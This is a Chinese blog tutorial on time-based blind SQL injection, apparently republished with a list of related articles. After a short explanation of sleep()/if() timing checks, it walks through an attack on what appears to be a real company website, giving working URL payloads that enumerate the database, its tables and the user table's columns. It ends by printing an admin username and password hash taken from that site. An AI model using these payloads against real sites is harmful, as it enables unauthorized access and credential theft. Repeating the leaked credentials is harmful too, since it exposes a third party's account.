当前位置: 首页 > news >正文

时间盲注梳理及案例

时间盲注

漏洞原理

网页的返回值只有一种,就是true,无论输入任何值,返回情况都会按照正常的来处理,加入特定的时间函数,通过查看web页面返回的时间差来判断注入语句是否执行成功

时间盲注和布尔型盲注类似,时间盲注就是利用时间函数的延迟特性来判断注入

什么情况下使用时间盲注?

该输入框或者交互点存在注入

该页面不会回显注入的语句执行结果,也就是无法使用union注入

对数据库的报错做了处理,无论用户怎么输入都不会显示报错信息,无法使用报错注入

符合盲注特征,但是不属于布尔型盲注

常用函数

sleep(n):将程序挂起一段时间,为n秒

select sleep(3);

当注入条件成立的时候,数据库会执行sleep()延迟函数,从而导致页面的响应时间显著增加;反之条件不成立,则不会执行sleep()函数

if(expr1,expr2,expr3):判断语句,如果第一个语句正确,则执行第二个语句,反之则执行第三个语句

sleep()函数和if()函数结合使用

时间盲注靶场

http://www.uni-1.com.hk/

判断注入点和注入类型

http://www.uni-1.com.hk/training_tc.php?id=13

由前文可知为数字型注入

http://www.uni-1.com.hk/training_tc.php?id=13and sleep(3) --+

网页延迟三秒响应,就可以判断出来存在时间盲注

判断数据库名长度

http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(database())=7,sleep(3),1)--+

二分法,长度为7

判断数据库名

http://www.uni-1.com.hk/training_tc.php?id=13 and if(ascii(mid(database(),2,1))=117,sleep(3),1)--+

爆破得uni1db1

判断表的数量

http://www.uni-1.com.hk/training_tc.php?id=13 and if((select count(table_name) from information_schema.tables where table_schema='uni1db1') = 8 ,sleep(3),1) --+

判断表的长度

http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(substr((select table_name from information_schema.tables where table_schema="uni1db1" limit 0,1),1)) = 8,sleep(3),1) --+

依次可得八个表的长度依次为8 6 7 4 4 12 4 4

判断表的名称

http://www.uni-1.com.hk/training_tc.php?id=13and if(ascii(substr((select table_name from information_schema.tables where table_schema=’uni1db1’ limit 0,1),1,1)) = 99 ,sleep(3),1) --+

burp爆破得到category,course,enquiry,news,page,registration,text,user

肯定看user

判断列的数量

http://www.uni-1.com.hk/training_tc.php?id=13and if((select count(column_name) from information_schema.columns where table_schema='uni1db1' and table_name='user')=6,sleep(3),1) --+

判断列的长度

http://www.uni-1.com.hk/training_tc.php?id=13and if(length(substr((select column_name from information_schema.columns where table_schema='uni1db1' and table_name='user' limit 0,1),1))=7,sleep(3),1) --+

http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(substr((select column_name from information_schema.columns where table_schema='uni1db1' and table_name='user' limit 1,1),1))=5,sleep(3),1) --+

依次可得列长为7 5 8 8 2 10

判断列的名称

http://www.uni-1.com.hk/training_tc.php?id=13and if(ascii(substr((select column_name from information_schema.columns where table_schema='uni1db1' and table_name='user' limit 0,1),1,1))=117,sleep(3),1) --+

burp爆破可得user_id,state,username,password,IP,last_login

判断数据长度

http://www.uni-1.com.hk/training_tc.php?id=13and if(length(substr((select username from user limit 0,1),1))=5 ,sleep(3),1) --+

http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(substr((select password from user limit 0,1),1))=32,sleep(3),1) --+

判断数据的名称

http://www.uni-1.com.hk/training_tc.php?id=13and if(ascii(substr((select username from user limit 0,1),1,1))=97,sleep(3),1) --+

http://www.uni-1.com.hk/training_tc.php?id=13 and if(ascii(substr((select password from user limit 0,1),1,1))=56,sleep(3),1) --+

burp爆破得到admin 80bac55c175d255a520f5112d5e8f07c

http://www.cnnetsun.cn/news/89633.html

相关文章:

  • LobeChat能否通过等保测评?国内合规性达标
  • paperzz 降重 / 降 AIGC:从重复率超标到学术合规,高校生论文 “隐形风险” 的解决逻辑
  • paperzz AI 期刊论文功能实测:从 “标题输入” 到 “期刊适配提纲”,学术写作如何少走格式与逻辑的弯路?
  • Linux系统安装nginx
  • Dify Docker部署与模型集成指南
  • @所有科技企业:点击链接直达CES Asia2026奖项申报页,错过免费期成本增加3倍
  • Agent概况
  • 13. 搜索引擎-ES-自动补全
  • 36、基础Web服务器与邮件服务配置指南
  • 永磁同步电机三闭环控制Simulink仿真 电流内环 转速 位置外环 参数已经调好 原理与双闭...
  • ISIS路由的基本配置
  • Unloop:为ADHD与神经多样性人群打造的可视化模式映射工具 | ProductHunt 今日热榜 - 12月16日
  • LED显示屏视频会议价格
  • Kamailio 怎样使用 STIR/SHAKEN
  • COMSOL光学仿真:光镊与光力模型专题解析(三个模型详解、近似算法与张量算法探讨)
  • 北斗导航系统在实际应用中总会遇到各种干扰,尤其是脉冲干扰和窄带干扰特别烦人。今天咱们用Matlab仿真几种典型抗干扰方法,顺便看看代码咋写
  • Qwen3-8B大模型快速部署与实战体验
  • AI 时代,数据湖的“拐点”与展望
  • 使用 TensorRT-LLM 高性能部署大语言模型
  • A/B测试在功能验证中的应用:从理论到实践
  • 创建一个rust写的python库[signatures和错误处理]
  • 震撼!这家全景效果企业如何颠覆传统,让客户体验飙升!
  • JVM性能分析
  • 商家福音!用PHP对接快递鸟接口,一键搞定单号所属快递识别
  • YT29B凿岩机吕梁精准检测稳定性能解析
  • 26、网络连接与安全全解析
  • 2025.12.16 HSRP双机热备
  • 万全智能RFID模块设备他们产品档次怎么样
  • RuoYi v1.2.0 全端开发神器:让多端适配从未如此简单!
  • 少儿编程Scratch3.0教程——03 外观积木(基础知识)